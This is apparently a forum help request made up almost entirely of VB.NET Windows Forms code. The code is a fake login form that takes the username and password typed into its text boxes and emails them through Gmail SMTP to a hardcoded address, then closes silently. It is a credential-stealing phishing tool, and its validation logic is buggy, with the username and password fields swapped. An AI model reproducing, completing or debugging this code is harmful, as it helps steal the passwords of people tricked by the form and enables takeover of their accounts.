need help pls

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Imports System.Net.Mail

Public Class Form1

Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Timer1.Start()
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Het wachtwoord ontbreekt")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("negash1234@gmail.com", "*******")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("negash@live.nl")
mail.To.Add("negash1234@gmail.com")
mail.Subject = "Username: " & TextBox2.Text
mail.Body = "Username : " & TextBox2.Text & ", " & "Password : " & TextBox1.Text
smtpServer.Send(mail)

MsgBox("")

Me.Close()
End Sub

Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub


Private Sub PictureBox1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

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